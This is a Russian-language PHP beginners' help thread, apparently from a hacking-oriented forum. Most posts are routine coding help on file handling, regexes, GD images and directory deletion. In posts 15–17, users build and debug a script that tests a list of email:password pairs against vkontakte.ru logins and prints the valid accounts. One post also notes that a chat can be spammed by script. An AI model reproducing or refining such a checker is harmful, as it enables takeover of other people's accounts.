[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Lesnoy_chelovek

    Lesnoy_chelovek Elder - Старейшина

    Joined:
    6 Dec 2006
    Messages:
    224
    Likes Received:
    152
    Reputations:
    8
    oRb, алгоритм сами знаем, с реализацией загвоздка.
     
  2. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    Ну вот у меня заготовки есть
    http://myorb.site88.net/crawler.zip

    Но использовать этот скрипт нельзя. Тк он основан на рекурсии. Писал просто года 2 назад. особым интелектом тогда не выделялся :)
    Ну для ознакомления хватит.
     
    1 person likes this.
  3. l0l1k

    l0l1k Elder - Старейшина

    Joined:
    27 Jan 2008
    Messages:
    33
    Likes Received:
    4
    Reputations:
    -1
    можете помоч
    мне надо чтоб php скрипт брал текстовый файл и заменял там символы # на & и сохранял в другой файл
     
  4. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    PHP:
    <?php
    $f
    =file_get_contents('file1.txt');
    $f=str_replace('#','&',$f);

    $newfile=fopen('file2.txt','w');
    fputs($newfile,$f);
    fclose($newfile);
    ?>
     
  5. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    <?
    $file_source = "in.txt";
    $file_dest = "out.txt";

    $content = file_get_contents($file_source);
    $content = str_replace("#", "&", $content);

    $fp = fopen($file_dest, "w");
    fputs($fp, $content);
    fclose($fp);
    ?>
     
  6. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    ахах, не успел. удаляйте)
     
  7. Gadik

    Gadik Elder - Старейшина

    Joined:
    29 May 2006
    Messages:
    97
    Likes Received:
    19
    Reputations:
    0
    Добрый день. Помогите пожалуйста с регуляркой.

    раньше нужно было из текста вида:

    span class="show_detail">
    <P>The Anti-Monopoly Committee of Ukraine has allowed Cyprus-based Davento P.L.C. to acquire a controlling stake in TOV Briz Invest, based in Kyiv. The AMC press-service reported the development.<P>TOV Briz Invest leases property in Kyiv.</P> и т.д.
    </span>

    взять только все, что между <span></span>


    Сейчас исходный текст имеет вид:

    <span class="show_detail">

    <P style="MARGIN: 0cm 0cm 6pt"><SPAN lang=EN-US style="FONT-SIZE: 11pt; mso-ansi-language: EN-US">The eighth round of negotiations between Ukraine and the European Union will be held in Kyiv between June 2-4. ...<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:eek:ffice:eek:ffice" /><o:p></o:p></SPAN></P><P style="MARGIN: 0cm 0cm 6pt"><SPAN lang=EN-US style="FONT-SIZE: 11pt; mso-ansi-language: EN-US">The eighth round... и тому подобная байда</SPAN></P>
    </span>

    и теперь мой скрипт качает только кусок который стоит до <?xml:

    вот сайм скрипт:

    $full_content = file_get_contents($url);
    #<span class="show_detail">
    preg_match('|<span class=\"show_detail\">(.*)<\/span>|Uis', $full_content,$full_cut_content);
    $title = $full_cut_content[0] ;
    preg_match('|<span class=topcontent style=\'margin-top: 15px;\' >(.*)<\/span>|Uis', $full_content,$body);


    плиз =)
     
  8. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    |<span class=\"show_detail\">(.*)<\/span>|
    зачем экранировать двойные кавычки и слэш?
     
  9. Gadik

    Gadik Elder - Старейшина

    Joined:
    29 May 2006
    Messages:
    97
    Likes Received:
    19
    Reputations:
    0
    не знаю, не я писал. я еще пока не умею. и что такое экранировать тоже еще не разбирался) упс
     
  10. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3


    для этого есть удобная функция уже написаная


    PHP:
     function preg_match_between($a_sStart$a_sEnd$a_sSubject)
    {
    $pattern '/'$a_sStart .'(.*?)'$a_sEnd .'/';
    preg_match ($pattern$a_sSubject$result);

    $pattern '/'$a_sStart .'/';
    $result preg_replace ($pattern''$result[0]);

    $pattern '/'$a_sEnd .'/';
    $result preg_replace ($pattern''$result);

    return 
    $result;

     
  11. SmartMix

    SmartMix New Member

    Joined:
    27 May 2008
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    В GD есть функция imagepng и ей подобные imagejpeg.. и т.д. Если в вызове этой функции не указать 2 параметр то она выводит переданное ей изображение в браузер. Но если я пробую после вызова этой функции вывести текст, она вместо картинки выводит набор нечитаемых символов. Можно ли как нибудь выводить таким образом картинки с текстом? (т.е. без сохранения картинки в файл)
     
  12. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Нельзя выводить картинку из GD и текст после неё сразу, так как браузер получил заголовок, например, Content-type: image/png, и текст после картинки он уже не воспримет. Но можно вставлять текст и картинку так:

    HTML:
    <img src='адрес_файла_генерирующего_картинку.php' /><br>
    текст какой-нибудь
     
  13. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    А что тебе мешает выводить текст через imagestring как часть картинки? Ну или как предложили - скрипт генерирующий картинку вынести отдельно, и использовать его в тегах img, а текст выводить как часть вывода самой страницы...
     
  14. Andres

    Andres Elder - Старейшина

    Joined:
    4 Apr 2008
    Messages:
    320
    Likes Received:
    119
    Reputations:
    0
    groundhog здарова чувак, мне нужна твоя помощь, короч помнишь чат вчерашний? Вот и там при реге, проверочного кода нет, тоесть заспамить можно скриптом, как можно сделать картинку, и ниже поле для ввода? там по ходу надо создавать *.txt файл с номерами и ссылками на картинки. но я точно не знаю, мож ты в курсах?
     
  15. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Всем привет!
    прошу помощи по слдеующему вопросу.
    Есть файл вида мыло:пасс
    необходимо проверить валидность это связки.
    тоесть мне надо прочитать файл далее массив и цикл?
    вот запрос идет такой GET /login.php?email=".$mail."&pass=".$pass."
    не могу понять как в массив все загнать ((((
     
    1 person likes this.
  16. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Примерно так:

    $data = file('file.txt');
    foreach($data as $line)
    {
    list($mail, $pass) = explode(":", $line);
    .....
    }
     
    _________________________
  17. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    не пойму где ошибка
    писал для себя сриптик для определения йд вконтакте по списку
    PHP:
    <?php
    $user_agent 
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11";
    $data file('accs.txt');
    foreach(
    $data as $line)
    {
    list(
    $mail$pass) = explode(":"$line);
    # Соединяемся с сервером ВКонтакте.ру
    $fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
    # Авторизуемся
    $out "GET /login.php?email=".$mail."&pass=".$pass." HTTP/1.0\r\n";
    $out .= "Host: vkontakte.ru\r\n";
    $out .= "User-Agent: ".$user_agent."\r\n";
    $out .= "Cookie: income=1\r\n";
    $out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
    fwrite($fp,$out);
    $ans='';
    while(!
    feof($fp)) 
    {
    $ans.=fgets($fp,128);
    }
    fclose($fp);
    # вытаскиваем кукисы из ответа сервера
    preg_match("/revalidate(.*?)Location/is"$ans$cookies);
    $cookies str_replace("Set-Cookie: """,$cookies[1]);
    preg_match("/remixmid(.*?);/is"$cookies$cook1);
    $acook str_replace("=""id"$cook1[1]);
    if(
    $acook == "iddeleted");
    else echo(
    "<br>$mail:$pass:$acook</br>");
    }

    ?>
    йд выдираю из кукисов но при работе скрипта йд только к последней записи показывается ( хэлп
     
    1 person likes this.
  18. XopoIII

    XopoIII Elder - Старейшина

    Joined:
    29 Oct 2007
    Messages:
    386
    Likes Received:
    30
    Reputations:
    0
    приветствую, проблемка такая, есть текствовый документ с программой телепередач, выводятся видом:
    7-00 мультики
    7-30 новости
    8-00 фильм
    и т.д.
    как можно делать выборку по времени и выводить? тоесть вот сейчас 12-20 как сделать чтобы показывалось только то что идет с 12 и по настоящее время? спасибо
     
  19. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Code:
    <?
    	$tv_file = 'TV.txt';
    	
    	$hour = date('H', time());
    	$file = file($tv_file);
    	
    	foreach($file as $line)
    	{
    		list($f_hour, $tmp) = explode('-', $line);
    		if ($f_hour >= $hour)
    		{
    			echo "&nbsp;".$line."<br>\r\n";
    		}
    	}
    ?>
    
     
    1 person likes this.
  20. lomerok

    lomerok Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    141
    Likes Received:
    8
    Reputations:
    0
    создаю функцию удаления папок и файлов(во всех вложенных директориях)
    тоесть скрипт должен удалять даже те папки в которых есть содержимое ...
    делаю так :
    PHP:
    function delete($path)
    {
     if(
    is_dir($path))
     {
      if(
    rmdir($path)==false)
      { 
       
    $od=opendir($path);
       while(
    $rd=readdir($od))
       {
        if((
    $rd!=".")||($rd!=".."))
        {
         if(
    is_dir($rd)) {print "1-$rd"delete("$path/$rd");}
         if(
    is_file($rd)) {print "2-$rd"delete("$path/$rd");}
        } 
        else{print 
    "rd=($rd)";}
       }
      }else print 
    "ok";
      }
     if(
    is_file($path)) {unlink($path);}  
    }

    $dir="test";
    delete($dir);
    ошибки , помогите ...
     
    #3360 lomerok, 4 Jun 2008
    Last edited: 4 Jun 2008
Thread Status:
Not open for further replies.